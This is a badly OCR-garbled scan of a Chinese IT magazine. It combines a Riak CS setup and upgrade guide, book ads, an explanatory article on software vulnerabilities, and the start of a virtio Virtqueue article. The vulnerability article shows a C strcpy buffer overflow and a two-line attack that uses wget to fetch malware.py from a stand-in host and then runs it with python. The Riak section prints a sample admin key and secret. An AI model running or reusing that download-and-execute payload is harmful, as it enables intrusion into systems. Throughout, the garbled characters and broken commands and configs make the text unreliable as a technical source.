的 内 容 才 会 不 工作 。 


使 用 Riak CS 在 自己 家 里 备份 
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来 管理 元 数据 的 情况 下 ， 如 有 果 由 于 网 络 设备 故 
障 而 不 能 访问 元 数据 , 那么 系统 也 就 不 能 使 用 了 o 
而 在 Riak 上 则 不 会 出 现 这 种 情况 。 

但 是 ， 如 果 没 有 Stanchion 的话 , 一 部 分 
操作 (用 户 的 生成 、bucket 的 生成 、bucket 的 
删除 ) 将 不 能 执行 。 极端 地 说 ， 可 以 平时 停止 
Stanchion， 只 在 需要 生成 用 户 、bucket 的 时 候 
启动 一 下 。 


Т 软件 升级 


这 里 为 了 方便 大 家 理解 Riak CS 的 软件 升级 
是 如 何 地 简单 ， 介 绍 一 下 Debian GNU/Linux 和 
Ubuntu Linux 中 的 操作 步骤 。 

更 新 OS 等 的 情况 下 ,停止 Riak 和 Riak CS, 
并 随意 使 用 滚动 更 新 (Rolling Upgrate ) 就 行 了 。 
如 果 同 时 停止 的 只 有 一 两 台 ， 则 几乎 所 有 的 功 
能 都 可 以 继续 运行 。 





@ Riak 的 更 新 


$ sudo riak stop 


$ tar czf riak-backup.tgz /etc/rīak 


$ sudo aptitude safe-upgrade 
$ sudo riak start 





© Standchion 的 更 新 


$ sudo stanchion stop 

$ tar czf stanchion-backup.tgz /etc/ В 
stanchion 

$ sudo aptitude safe-upgrade 

$ sudo stanchion start 





@ Riak CS 的 更 新 


$ sudo riak-cs stop 
$ tar czf riak-cs-backup.tgz /etc/riak-cs 


$ sudo aptitude safe-upgrade 
$ sudo riak-cs start 


这 样 升级 就 完成 了 。Riak、Riak CS 保证 了 
前 后 版 本 的 升降 级 的 兼容 性 ， 可 以 随意 滚动 更 











新 。 运 维 得 好 的 话 ， 还 可 以 通过 不 断 更 新 硬件 
和 软件 、 增 加 服务 器 , 实现 半 永 久 化 地 运行 集群 。 
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这 里 也 以 Debian/GNU Linux 为 基础 进行 说 
明 。Mac OSX 以 及 其 他 Linux 发 行 版 中 的 方法 
请 各 位 读者 自行 蔡 换 为 自己 所 熟悉 的 内 容 ,， 或 
者 请 参照 Riak 的 安装 顺序 2， 

如 果 想 尽快 开始 ， 可 以 选择 Fast Track © 

首先 安装 所 有 的 包 。 因 为 有 一 个 Basho 发 
布 的 官方 库 ， 所 以 按 图 3 所 示 设 置 库 ， 并 安装 
Riak、Riak CS 、Stanchion 即 可 。 


IN Riak 的 设置 


安装 完成 后 ， 首 先进 行 Riak 的 设置 。 这 里 
简单 介绍 一 下 Riak 的 标准 安装 和 搭建 集群 的 方 














http://docs.basho.com/riak/latest/tutorials/installation/ 


QD http://docs.basho.com/riakcs/latest/riakcs-tutorials/fast-track/ 


У (195581 Віак CS 运行 所 必需 的 Riak( riak_kv 段 ) 的 设置 


{add_paths, 


["/usr/lib/riak-cs/lib/riak_cs-1.3.1/ebin"]}, 


{storage backend, riak cs kv _multi backend}, 
{multi backend prefix list, 
C{<<"0b:">>, be_blocks}]}, 
{multi backend default, be default}, 
{multi backend, [ 
{ре default, riak kv_eleveldb backend, Г 
{max_open_files, 50}, 
{data_root, "/var/lib/riak/leveldb"} 
J}, 
{be_blocks, riak kv_bitcask backend, [ 
{data_root, "/var/lib/riak/bitcask"} 
]} 
1) 


У з ”Riak CS 的 安装 步骤 





法 。 首 先 , 在 /etc/riak/app.config 进 行 一 些 设置 ， 
并 指定 监听 的 IP 地 址 就 行 了 。 接 看 ,在 Riak_ 
core 段 退 加 如 下 一 行 。 


{default bucket props, [L{allow 7? 
mult,true}]}, 


除 此 之 外 , 在 riak_kv 的 段 里 ， 删 除 如 下 一 行 。 


{storage backend, riak kv_bitcask 7? 
backend}, 


并 添加 代码 清单 1 中 的 内 容 。 

请 确认 add_paths 指 定 的 目录 中 存放 看 各 种 
beam 文件 。CentOS 等 的 情况 下 ，Lib 可 能 会 是 
Lib64。 

这 个 设置 大 致 的 作用 是 ， 设 置 Riak CS 用 的 
后 端 (eleveldb 和 bitcask 可 分 开 使 用 )， 默 认 以 
eleveldb 作为 后 端 来 存储 以 元 数据 为 主 的 数据 ， 
对 象 块 则 使 用 bitcask 来 进行 存储 。 


$ curl http://apt.basho.com/gpg/basho.apt.key | sudo apt-key add - 


$ sudo bash -c "echo deb http://apt.basho.com $(lsb_release -sc) main \> /etc/apt/sources. 


list.d/basho. list" 
$ sudo apt-get update 
$ sudo apt-get install riak riak-cs stanchion 





这 样 由 一 人 台 机 需 组 成 的 Riak 就 准备 得 差 不 
多 了 。 
局 动 Riak。 


$ sudo -u riak 


$ ulimit -n 4096 
$ riak start 





JIN Riak C5 的 没 置 和 初始 用 户 的 生成 


接 痢 进行 Riak CS 的 设置 。 本 地 启动 的 话 ， 
在 默认 的 /etc/riak-cs/app.cong 的 riak_cs 段 进 
行 如 下 修改 。 


{anonymous_user_creation, true}, 


安装 完 后 默认 是 false, 为 了 生成 一 开始 
的 管理 员 ， 临 时 改 成 trrue。 接着 ,启动 进程 。 
Stanchion 的 情况 也 是 一 样 ， 在 本 地 安装 的 话 ， 
直接 按 默认 值 启动 就 可 以 了 。 


$ sudo stanchion start 


$ sudo riak-cs start 





管理 员 的 生成 使 用 如 下 的 curl 语 句 。 


$ curl -H 'Content-Type: application/json' \ 
-X POST http://localhost:8080/riak-cs/ 
user \ 


--data '{"email":"foobarðexample.com", \ 


"пате": "оо bar"}' 
执行 完成 后 ， 会 显示 包含 所 生成 的 用 户 的 
key_id 和 key_secret 的 JSON 字 符 串 。 把 它 保 
存 好 ， 对 Riak CS 和 Stanchion 的 app.config 也 进 
行 如 下 修改 。 





{admin_key, 

"ORMJZ57B2H06F-I60YJE"}, 
{admin_secret, 

"qL4iyzyG4-r LuHBErnXAVJ-qLQOO0BDjL_bN_z 
Кід=="}, 


另外 ， 把 刚才 的 anonymous_user_creation 
重新 设置 为 false。 为 了 恢复 设置 ， 这 里 重新 启 
动 Riak CS 。 


使 用 Riak CS 在 自己 家 里 备份 
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stanchion stop 


riak-cs stop 
stanchion start 
riak-cs start 


这 样 就 可 以 在 本 地 使 用 Riak CS 了 。 

这 个 操作 步骤 的 前 提 是 在 同一 服务 器 上 局 动 
了 Stanchion 和 Riak CS。 如 果 Stanchion 和 Riak CS 
不 在 同一 个 服务 需 上 ， 则 只 需 将 Stanchion 的 配 
置 文件 /еёс/ѕёапсһіоп/арр.соп#1ід А stanchion_ 
ip 设置 为 服务 器 的 卫 地 址 ， 将 Riak CS АЈ арр. 
config 的 stanchion_ip 设 置 为 Stanchion 启 动 的 
服务 禹 的 人 PP 地址 就 可 以 了 。 


№ 客户 端的 设置 

有 了 前 面 的 步 又 中 所 生成 的 用 户 的 key_id 
和 key_secret， 大 部 分 的 Amazon S3 21 Ym АЙ], 
都 可 以 正常 操作 Riak CS T o 


s3cmd 名 的 话 ， 只 需 设置 .s3cfg 的 access_ 


key 、Kkey_secret 、proxy_host 、proxy_port WÈ 














行 了 。 把 proxy_host、proxy_port 分 别 设置 为 
LocalLhost 和 8080 电 。 这 样 就 可 以 像 操作 S3 一 样 
使 用 s3cmd T . 

针对 Riak CS 的 配置 也 有 Chef recipe ®, п] 
以 参考 一 下 。 

DragonDisk 里 没有 设置 proxy_host 的 项 目 ， 
需要 在 家 里 的 网 路 上 进行 DNS 设置 ， 这 里 就 不 
再 介绍 了 。 官方 文档 里 有 域名 的 设置 方法 到 , 请 
参考 。 











本 文 简单 介绍 了 使 用 Riak CS 的 系统 的 设计 、 
运 维和 使 用 。 
虽然 本 文 没有 涉及 , 但 在 家 庭 用 的 1Gb 以 








(2) https://github.com/s3tools/s3cmd 

(3 符 希 望 通过 其 他 机 器 访问 启动 着 RialC S 的 服务 器 ， 则 需 
要 将 客户 端的 p oxhos ft 变更 为 服务 大 端的 卫 地 址 ， 并 
变更 /etc/riak-cs/app. config 的 cs ip。 

http://docs.basho.com/riakcs/latest/cookbooks/installing/ 
Riak-CS-Using-Chef/ 

05) http://docs.basho.com/riakcs/latest/cookbooks/configuration/ 
Configuring-Riak-CS/#Proxy-vs-Direct-Configuration 
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ЖИНИНЕ, РЕВЕ Е Л 97, ТРЕ 但 是 , 作为 在 2013 年 3 月 以 OSS 的 形式 


使 用 自己 的 硬件 进行 测试 。 随 着 便 件 的 变化 ， 


性 能 也 会 变化 。 





公开 的 作品 ，Riak CS 还 有 很 多 不 成 熟 的 地 方 。 
希望 各 位 能 加 入 社 群 ， 与 大 家 共享 各 种 技巧 和 


在 笔者 个 人 看 来 ， 作 为 分 布 式 文件 系统 ， 话题 。 
Riak CS 属于 相当 容易 维护 的 一 类 。 





ДЕЙН: 


产 


产 


аслас = 


"eHR o ыт 





ТТ 


C# 并 发 编程 


经 典 实例 


бо 


HERE KY 





Esra 


七 周 七 并 发 模型 


并 友 编 程 近年 逐渐 热 起 来 ，Go 等 并 友 语 言 也 对 并 友 编 程 提供 了 良好 的 支持 ， 使 得 并 友 
这 个 话题 受到 越 来 越 多 人 的 关注 。 本 书 延 续 了 《 七 周 七 语言 ) 的 写作 风格 ， 通 过 以 下 七 个 精 
选 的 模型 帮助 读者 了 解 并 友 领 域 的 轮廓 : 线程 与 锁 ， 阔 数 式 编程 ，Clojure，actor， 通 信 顺 
序 进程 ， 数 据 级 并 行 ，Lambda 架 构 。 书 中 每 一 章 都 设计 成 三 天 的 阅读 量 。 每 天 阅读 结束 都 
会 有 相关 练习 , 巩固 并 扩展 当天 的 知识 。 每 一 章 均 有 复习 , 用 于 概括 本 章 模 型 的 优点 和 缺陷 。 


本 书 适 合 所 有 想 了 解 并 上 友 的 程序 员 。 


C# 并 发 编程 经 典 实 例 


本 书 全 面 讲解 C# 并 发 编程 技术 ， 侧 重 于 .NET 平 台 上 较 新 、 较 实用 的 方法 。 全 书 分 为 几 
大 部 分 : 首先 介绍 几 种 并 上 友 编 程 技术 ， 包 括 异步 编程 、 并 行 编程 、TPL 数据 流 、 响 应 式 编程 ; 
然后 前 述 一 些 重 要 的 知识 点 ， 包 括 测试 技巧 、 互 操作 、 取 消 并 发 、 函 数 式 编 程 与 OOP、 同 步 、 
调度 ; 最 后 介绍 了 几 个 实用 技巧 。 全 书 共 包含 75 个 有 配套 源码 的 实用 方法 , 可 用 于 服务 器 程序 、 
桌面 程序 和 移动 端 应 用 的 开 友 。 


本 书 适合 具有 .NET 基础、 希望 学 习 最 新 并 友 编 程 拉 术 的 开 友 人 员 。 


Go 并 发 编程 实战 


本 书 全 面 介绍 了 Go 语言 的 特点 、 安 装 部 署 环境 、 工 程 规 范 、 工 具 链 、 语 言语 法 、 并 发 
编程 模型 以 及 在 多 个 编程 实战 中 的 应 用 ， 重 点 前 述 了 Go 语言 并 友 编程 模 型 和 机 制 。 本 书 共 
分 为 四 个 部 分 ， 介 绍 了 Go 语言 编程 环境 搭建 、Go 语 言 基础 编程 、Go 语 言 并 友 编 程 方法 及 
其 原理 ， 以 及 使 用 Go 语言 开 友 的 应 用 系统 的 案例 讲解 。 


本 书 适 用 于 有 一 定 计算 机 编程 基础 的 从 业者 以 及 对 Go 语言 编程 感 兴趣 的 爱好 者 ， 非 常 
适合 作为 Go 语言 编程 进 阶 教程 。 





X/ RAKLA 
suzuki.hironobu@gmail.com 


ТЕ / ЖБ 
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ЕҢ КИНО ХЕАХ #+, RESTAR NARE EER, САЗАНА 
弟 完 下 ,但 是 如 果 设 定 万 法 或 者 实际 执行 环境 不 够 完备 的 话 ， 系 统 行为 也 有 可 能 出 现 错误 。 但 是 ， 
这 个 销 误 不 能 完全 归 各 于 软件 的 脆弱 性 。 这 其 中 的 区 别 在 哪里 呢 * 而 用 户 又 该 如 何 应 对 软件 的 
脆弱 性 呢 ? 这 融 是 此 次 我 所 要 思考 的 问题 。 





定义 。 比 如 在 ISO 27005. ІЕТЕ 2828、NIST 
о MNA “Miggy tE” SP800-30 中 都 有 脆弱 性 的 定义 。 这 些 定义 的 内 
容 都 基本 相同 ， 但 是 有 些 细微 的 差异 ， 因 此 理 
20 世 纪 90 年 代 中 期 以 前 ,在 计算 机 领域 ERKA ER, AEAT T o 
大 家 很 少 能 听 到 “脆弱 性 ”这 个 由 三 个 汉字 组 而 且 ， 从 系统 方面 来 说 也 有 多 种 观点 。 
成 的 词语 ， 这 个 词语 是 从 何 而 来 的 呢 ? 那 是 在 














o 硬件 
给 计算 机 安全 领域 中 使 用 的 单词 vulnerability "ГҮ" 
寻找 合适 的 翻译 时 , 借用 了 社会 学 中 的 “脆弱 性 ” 





一 词 ， 这 一 词语 才 开始 在 计算 机 领域 被 大 家 所 
熟知 的 由 。 

脆弱 性 一 词 有 着 广泛 的 意思 ， 概 括 来 说 的 
话 就 是 “计算 机 系统 中 存在 缺陷 ， 若 攻击 者 能 
够 蓄意 利用 此 缺陷 对 系统 发 起 主动 攻击 并 获得 要 从 这 里 开始 说 明 的 话 ， 光 是 解说 这 些 芍 
成 功 ,这 个 缺陷 就 称 为 脆弱 性 ”。 这 是 与 原意 怕 就 能 出 一 本 书 了 。 本 文 仅 集中 探讨 软件 的 脆 
最 为 接近 的 表述 ， 整 理 一 下 即 为 : 


弱 性 
存在 潜在 的 缺陷 
可 以 车 意 利用 这 此 缺陷 发 起 攻 直 о ТЕПЕ Е 


这 些 攻击 取得 成 功 
系统 安全 性 受到 威胁 


。 运用 (针对 技术 人 员 而 言 ) 
。 利用 (针对 一 般 使 用 者 而 言 ) 
o 设施 (建筑 物 /电力 供给 

















DONO 


软件 的 脆弱 性 可 以 这 样 定 义 :“ 由 软件 缺 
陷 引发 的 现象 (Software Failure ) 包 的 一 部 分 ， 
以 上 是 笔者 对 脆弱 性 的 说 明 ， 其 实 及 弱 性 由 于 可 能 被 第 三 方 利 用 造成 安全 性 侵害 ， 因 此 
在 各 种 各 样 的 场合 中 有 大 各 种 各 样 的 说 明和 会 成 为 软件 的 脆弱 性 ”。 如 图 1 所 示 ， 软 件 缺 





O 当时 在 安全 性 的 文档 中 ， 关 于 vulnerablity 一 词 出 现 了 多 个 不 同 的 译 法 。 针 对 这 个 问题 ， 数 名 安全 性 领域 的 研究 人 员 经 协商 后 
决定 今后 统一 使 用 “脆弱 性 ”一 词 。 之 后 相关 的 翻译 都 渐渐 统一 为 了 “脆弱 性 ”。 另 外 ， 由 于 vulnerablity 一 词 太 长 ， 安 全 性 相 
关 的 研究 人 员 也 会 在 文 草 或 口头 表达 中 使 用 “Vul” 这 个 简称 。 

(2) Software Failure 的 翻译 是 “软件 故障 ”， 但 故障 一 词 容易 引起 误解 ， 故 本 文中 使 用 “软件 缺陷 引发 的 现象 ”来 说 明 。 
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陷 引 发 的 现象 并 不 全 与 脆弱 性 有 关 : 

这 样 看 来 ， 通 过 进行 充足 的 测试 来 确保 软 
件 质量 ， 由 软件 缺陷 引发 的 现象 确实 会 减少 ， 
可 以 假定 其 中 占有 一 定 比例 的 软件 脆弱 性 也 会 





随 之 减少 。 

但 是 ， 如 果 攻 击 方 著 意 去 寻找 软件 的 脆弱 
性 的 话 ， 以 上 假定 就 不 再 成 立 。 也 就 是 说 ， 不 
能 明确 地 说 “只 要 对 软件 进行 了 充分 的 测试 ， 
就 能 ( 同 由 软件 缺陷 引发 的 现象 一 样 ) 彻 的 消除 
软件 的 脆弱 性 ”。 


о 脆弱 性 发 生 在 何 处 


软件 修正 的 必要 性 是 从 何 时 开始 被 注意 到 
的 呢 ? 1985 年 的 一 篇 古典 论文 可 以 给 我 们 
解答 。 

笔者 对 使 用 这 篇 论文 的 原因 稍 作 说 明 。 这 
篇 论文 是 NASA ЖП ЛО ЕН КАТЮ 
所 做 的 软件 的 记录 。 当 时 使 用 的 还 是 瀑布 开发 
模型 ， 工 程 各 个 阶段 分 工 明确 。 制 作 流程 图 ( 设 
计 阶 段 )， 再 用 编程 语言 将 流程 图 表现 出 来 ( 编 
ERE), 虽然 和 现在 的 软件 开发 状况 有 所 不 同 ， 
但 工程 的 阶段 性 很 明确 ， 容 易 进行 问题 的 划分 。 

从 论文 的 数据 来 看 ， 各 阶段 发 生 软 件 缺 陷 
的 工程 所 占 比 例如 表 1 所 示 。 

我 们 发 现在 编码 阶段 引入 的 软件 缺陷 意外 
的 少 ， 而 大 多 数 缺 陷 都 是 在 设计 阶段 引入 的 。 

有 过 C 语 言 编程 经 历 的 人 都 知道 ， 如 果 输 
入 超过 预定 义 字 符 串 大 小 的 数据 的 话 ， 程 序 就 
会 异常 终止 。 这 是 软件 脆弱 性 的 一 种 ， 即 缓存 
溢出 。 向 函数 或 变量 输入 字 节 长 度 过 大 的 数据 
占据 内 存 空间 ， 最 后 甚至 会 侵占 程序 自身 的 运 
行 空间 。 

那么 ， 这 个 问题 是 在 哪个 阶段 引发 的 呢 ? 
虽然 在 大 多 数 情况 下 容易 认为 是 编码 错误 引发 
的 ， 但 是 更 确切 地 说 应 该 是 设计 阶段 的 错误 ， 
























































REKKAR R 


OT 71——— 








即 “ 没 能 使 用 字符 串 长 度 信 息 仔 细 对 输入 进行 
检查 ”。 

如 表 1 所 示 , 缺陷 在 设计 阶段 被 引入 得 最 多 , 
在 需求 阶段 、 原 型 阶段 和 其 他 剩余 阶段 也 有 被 
引入 。 这 就 表示 在 任何 一 个 阶段 软件 脆弱 性 都 
有 被 引入 的 可 能 。 也 就 是 说 ， 想 要 减少 软件 脆 
弱 性 ， 必 须要 提升 软件 开发 所 有 阶段 的 质量 才 
行 。 想 要 事先 发 现 软 件 的 脆弱 性 并 将 其 排除 是 
很 困难 的 。 


СВ аннат 


接 下 来 让 我 们 看 看 要 用 多 少时 间 才 能 发 现 
缺陷 。 从 IBM 通 用 机 操作 系统 的 数据 和 来 看 ， 
CPU 运行 5000 年 才 发 现 一 次 缺陷 。 

根据 不 同 的 研究 这 个 数字 会 有 多 种 变化 ， 
但 是 可 以 确定 的 是 ， 对 于 制作 极其 慎重 的 软件 
来 说 ， 发 现 缺 陷 的 概率 是 极 小 的 。 























有 图 1 不 是 所 有 的 软件 缺陷 都 会 成 为 脆弱 性 





Software Failure 
( 软件 缺陷 引发 的 现象 ) 








Software Vulnerability 
( 软件 的 脆弱 性 ) 

















т1 错误 友 生 阶段 
yi 
设计 阶段 57%~78% 
原型 阶段 3%~14% 
编码 阶段 3%~8% 
需求 阶段 2%~ 5% 








(З) D.M. Weiss et al.,“ Evaluating Software Development by Analysis of Changes: Some Data from the Software Engineering 
Laboratory” ЕЕЕ Transactions on Software Engineering, Vol.11,No.2,Feb.1985,pp.157-168 
@) IBM Research Journal, 28, рр2-14, 1984 这 是 80 年 代 的 老 论 文 , 是 IBM 的 通用 机 操作 系统 的 记录 。 因 为 可 信和 度 较 高 故 拿 来 参照 。 








话 虽 如 此 ， 但 是 在 100 万 台 计 算 机 同时 运 
行 的 情况 下 ， 总 计 5000 年 的 运行 时 长 也 就 是 
一 转眼 的 事 。 即 使 发 现 缺陷 的 概率 再 小 ， 只 要 
有 足够 多 人 台 计 算 机 运行 ， 发 现 缺陷 也 还 是 一 转 
眼 的 事 。 由 此 可 引出 以 下 两 点 。 


DAMANE, HVAL 
脆弱 性 引发 的 不 良 状 况 

思 但 从 使 用 者 全 体 的 角度 来 看 ， 遇 到 此 
类 使 用 不 良 状 况 的 概率 就 不 低 了 


到 由 软件 


一 方面 自己 还 没有 完全 认识 软件 的 脆弱 性 ， 
而 平时 软件 脆弱 性 又 经 消 被 发 现 ， 这 样 看 来 自 
己 的 感觉 和 实际 情况 相 比 确实 是 有 所 差异 的 。 
仅 从 自己 的 使 用 范围 来 看 的 话 , 大 概 会 觉得 “ 软 
件 脆 弱 性 是 不 会 出 现 的 ” 吧 。 














墨盒 测试 


大 家 可 能 会 想 “ 对 软件 脆弱 性 的 探究 是 如 
何 做 到 的 "， 或 者 认为 “ 像 开源 代码 这 样 容易 
获取 的 资源 更 容易 发 现 软 件 脆弱 性 ， 所 以 使 用 
起 来 更 危险 ”。 

在 软件 工学 的 测试 技术 中 ， 有 很 多 完全 不 
用 考虑 源 代码 就 能 确认 软件 功能 是 否 完备 的 测 
试 手段 。 这 称 为 黑 盒 测试 , 包括 “集成 测试 ”"“ 功 
能 及 系统 测试 “验收 测试 “回归 测试 ”Beta 
测试 "。 这 些 测 试 都 在 不 考虑 具体 代码 的 情况 
下 进行 ， 将 问题 提取 出 来 。 这 在 软件 开发 过 程 
中 是 标准 测试 ， 并 不 是 什么 特殊 的 东西 。 在 此 
不 对 它们 的 测试 内 容 做 说 明 ， 读 者 们 只 要 知道 
有 这 样 的 测试 技术 ， 能 够 在 不 考虑 具体 代码 实 
现 的 情况 下 进行 测试 ， 通过 它们 可 以 发 现 软件 
脆弱 性 就 可 以 了 。 

之 所 以 做 出 这 样 的 说 明 ， 是 因为 媒体 经 常 
会 有 “天 才 黑 客人 侵 电脑 " 电 之 类 的 报道 ， 在 他 
们 的 报道 中 ， 侵 入 者 就 像 使 用 了 魔法 般 人 侵 系 
统 ， 进 而 引起 骚动 ， 但 事实 上 并 没有 这 回 事 。 

软件 脆弱 性 的 发 现 并 不 是 靠 天 才 般 的 灵感 
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或 技术 ; | Ө. 
的 方法 获得 的 。 但 是 ， 正 如 之 前 所 说 ,软件 脆 
弹性 的 发 现 是 与 测试 量 成 比例 的 ， 相 比 个 人 去 
发 现 ， 团 队 的 发 现 效率 更 高 。 

而 且 ， 之 前 举例 的 测试 方法 并 不 只 是 为 了 
发 现 软件 脆弱 性 ， 也 有 助 于 减少 软件 淤 在 的 缺 
陷 ， 这 本 里 就 是 提高 软件 质量 的 非 第 重要 的 技 
术 。 同 时 这 也 是 竺 要 义 出 大 量 时 间 来 进行 的 
工作 。 

而 这 对 开源 资源 和 财源 资源 来 说 部 是 一 样 的 。 

无 论 是 将 缺陷 内 在 隐藏 了 起 来 ， 无 论 相 比 
之 前 稳定 运行 了 多 少时 间 ， 忌 会 在 某 一 天 的 菏 
个 时 刻 ， 原 型 阶段 、 设 计 阶 段 等 初期 阶段 引入 
的 软件 脆弱 性 会 突然 出 现 ， 我 们 在 使 用 软件 的 
时 候 ， 必 须要 有 这 种 心理 准备 
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这 里 使 用 缓存 溢出 这 一 典型 案例 来 加 以 
说 明 。 

绥 存 溢出 是 指 通过 写 和 人 超出 缓存 的 大 量 数 
据 ， 改 写 返回 地 址 ， 使 得 任意 shellcode 都 可 能 
成 为 可 执行 代码 来 运行 的 一 种 软件 脆弱 性 。 通 
过 接手 发 生 绥 存 淤 出 的 程序 的 执行 权限 ， 
程序 得 以 执行 。 这 一 脆弱 性 引发 了 多 种 问 是 Ри 

请 看 代码 清单 1 所 示 的 C 语 言 代码 。 这 
是 常见 的 字符 串 复制 的 样 例 代码。 也 数 copy_ 
a2b0 中 的 strcpy 将 变量 a 中 的 数值 复制 到 变量 
bF, 但 是 并 没有 考虑 变量 a 的 字符 长 度 。 变 
量 b 有 可 能 会 因为 被 赋予 过 长 的 字符 串 而 造成 
绥 存 溢出 ， 因 此 有 痢 淤 在 的 软件 脆弱 性 。 仅 仅 
是 这 样 ， 就 有 可 能 造成 脆弱 性 。 

那么 在 此 之 前 应 该 做 些 什么 呢 ? 例 如 使 用 
wget， 或 下 载 小 型 控件 ， 这 些 都 是 比较 经 典 的 
做 法 。 

图 2 是 将 一 段 用 Python 编写 的 恶意 程序 输 
入 并 运行 的 脚本 。 这 两 行 左右 的 代码 从 绥 存 溢 
出 时 开始 执行 ， 进 而 侵入 系统 。 奴 ' 


















































Н malware. 








© 由 于 做 出 这 些 行 为 的 不 一 定 都 是 黑客 ， 因 此 就 用 破坏 者 或 侵入 者 来 称呼 。 
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不 会 与 外 部 通信 进 一 


步 给 系统 添加 下 载 任 
意 亚 意 程 序 的 功能 。 这 样 的 话 ， 被 攻击 方 基本 
上 就 束手无策 了 。 


给 安全 性 升级 吧 


和 希望 大 家 做 的 就 是 升级 安全 性 。 

电脑 的 使 用 需要 进行 频繁 的 更 新 ， 这 一 点 
大 家 已 经 注意 到 了 吧 。 如 前 所 述 ， 软 件 脆 弱 性 
是 不 可 避免 的 问题 。 引 入 时 都 是 在 开发 阶段 ， 
原因 也 大 多 非常 简单 。 

所 有 用 户 都 目 己 去 认真 调整 运行 环境 当然 
是 很 理想 的 ， 但 笔者 认为 就 算 这 么 做 了 ， 和 理 
想 环 境 还 是 相差 较 远 。 而 且 ， 用 户 是 很 难 搜集 
到 所 有 软件 脆弱 性 的 信息 并 加 以 应 对 的 。 
































”& 2 输入 恶意 程序 并 运行 的 脚本 


E | аана ен Н 








果然 ,最 有 效 的 方法 还 是 安全 性 升级 ， 然 
后 就 是 要 多 多 拜托 管理 服务 名 的 诸位 了 。 无 法 
进行 安全 性 升级 的 老 旧 的 分 布 式 系统 ， 要 尽早 
nm 
虑 的 话 ， 这 才 是 总 成 本 最 低 的 方案 





有 代码 清单 1 人 存在 潜在 缓 仓 溢 出 脆弱 性 的 代码 


#include <string.h> 

void *#copy_a2b(char жа) 

{ 
char b[12]; 
strcpy(b,a); 

} 

void main() { 
copy_a2b("abc") ， 

} 


wget -q -0 /tmp/...i http://xxx.example.com/malware.py 
1 和 从 xxx.example.com 下 载 malware.py 程 序 ， 并 将 其 保存 在 /tmp/.i 
于 运行 /tmp/ .ji 


python /&тр/...1 


ДЕЙН д: 


“在 虚拟 机 上 亲自 体验 攻击 流程 





КЫДЫ 。 安 全 领域 广 受 关注 的 图 书 


“国内 顶级 黑客 翻译 
“本 书 的 主要 作者 是 在 信息 安 





挑战 赛 最 高 奖 


“日 本 Web 应 用 安全 第 一 人 权威 力作 


e OWASP 北京 区 负责 人 、51CTO 信 息 安全 专家 作 序 推荐 


。 运 今 为 止 最 权威 的 Android 安全 宝 





Web 应 用 安全 权威 指南 


。 从 原理 到 对 策 ， 网 罗 Мер 安全 的 方方面面 


八大 章节 全 面 剖 析 ， 深 入 浅 出 地 讲解 了 SQL 注入 、XSS、CSRF 等 Web 开发 人 员 必 知 的 Web 安 
全 知识 。 通 过 在 VMware Player 虚 拟 机 上 对 PHP 样 本 的 攻击 ， 详 细 介 绍 了 安全 隐患 产生 的 原理 及 
应 对 方法 ， 助 你 打造 安全 无 虞 的 Web 应 用 。 


Android 安全 攻防 权威 指南 


全 领域 浸 淫 多 年 的 一 流 专 家 ， 三 位 译 者 也 都 在 技术 一 线 耕耘 多 
年 并 各 有 卓越 成 就 。 这 种 全 明星 阵容 让 我 对 本 书 充满 期 待 。 
— Fi ( tombkeeper )， 腾 讯 玄武 安全 实验 室 总 监 ， 全 球 最 知名 的 白 帽 子 黑客 之 一 ， 


曾 夺 得 微软 安全 


_ Нурегміѕог 


EPER 


ЖИН 基于 virtio 的 半 虚 拟 化 设备 之 二 
实现 Virtqueue 与 virtio-net 









开 ) 

virtio 半 虚拟 化 设备 大 幅 改 善 了 客户 机 OS 
的 VO 性 能 ， 上 回 我 们 介绍 了 virtio 的 概要 和 
virtio 的 构件 之 一 Virtio PCI。 这 回 再 来 介绍 一 
下 Virtqueue 和 利用 Virtqueue 实现 NIC ( virtio- 
пе ) #7715. 





Да е 概要 


virtio 大 致 由 Virtio PCI 和 Virtqueue 两 个 构 
件 构 成 。Virtio PCI 对 客户 机 来 说 相当 于 PCI 设 
备 ， 提 供 下 列 功 能 。 


。 用 于 设备 初始 化 时 往 主 机 后 客 尸 机 之 间 
协商 和 通知 设置 信息 的 配置 寄存 器 


可 用 于 通知 队列 长 度 、 队 列 数 和 对 列 地 址 等 。 


。 中 断 ( 往 主机 一 客户 机 ) ПО 端口 访问 ( 客 
户 机 一 得主 机 ) 等 引起 的 往 主 机 仿 客 户 
机 之 间 的 事件 通知 机 制 

。 使 用 标准 的 PCI 设 备 DMA 进 行 数据 传输 
的 功能 





Virtqueue 是 用 于 数据 传输 的 客户 机 内 存 空 
间 上 的 队列 结构 。 每 个 设备 可 以 具有 一 个 或 者 
多 个 队列 。 例 如 ，virtio-net 具 有 发 送 用 的 队列 、 
接收 用 的 队列 、 控 制 用 的 队列 这 三 个 队列 。 客 


文 / 浅 田 拓也 (ASADA Такиуа) @sSyuu1228 т / ЕВ 


户 机 OS 检测 到 作为 PCI 设 备 的 virtio 设 备 并 对 
其 进行 初始 化 ， 通 过 Virtqueue 完成 数据 的 输入 
输出 , 通过 中 断 和 LO 端口 访问 进行 事件 的 通知 ， 
进而 对 和 宿主 机 请 求 WO 操 作 。 本 文 将 详细 介绍 


Virtqueue。 





Virtqueue 


Virtqueue 由 描述 符 表 ( Descriptor Table )、 
Available Ring, Used Ring 这 三 部 分 构成 (图 
1 )， 描 述 符 表 中 排列 着 发 送 接收 数据 用 的 描述 
符 ，Available Ring 指 定 了 从 客户 机 癌 箱 主机 传 
递 的 描述 从，Used Ringt T MT ENLA 
户 机 传递 的 描述 符 。 

描述 符 表 、Available Ring, Used Ring 的 项 
的 数量 由 Virtio PCI 设 备 初始 化 时 Virtioheader 
的 QUEUE_NUM 的 设 定 值 决 定 。 

Virtqueue 的 空间 必须 与 内 存 页 大 小 中 对 齐 。 
一 个 Virtqueue 只 能 用 于 单 回 通 信 。 因 此 ， 要 文 








持 双 回 通 信和 则 需要 使 用 两 个 Virtqueue。 通 信 方 
HA E], Available Ring 和 Used Ring 的 使 用 方 
法 也 不 同 。 






м, 
i 
| | 
/ Fi 
“> 
ай 


描述 符 表 是 排列 有 QUEUE NUM 个 描述 


к, 





D 页 大 小 =4KB 
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Я ПЗЕ НЧЕ с аЙ 


正确 理解 虚拟 化 技术 


符 包 的 队列 。 描 述 符 并 不 是 在 进行 数据 传输 时 
被 动态 地 分 配 ， 而 是 在 描述 符 表 内 寻找 空闲 
项 使 用 。Virtqueue 上 没有 管理 空闲 项 的 结构 ， 
因此 客户 机 驱动 器 需要 自行 记录 空闲 描述 符 
(后 述 )。 

传输 一 个 数据 使 用 一 个 描述 符 ， 描 述 符 中 
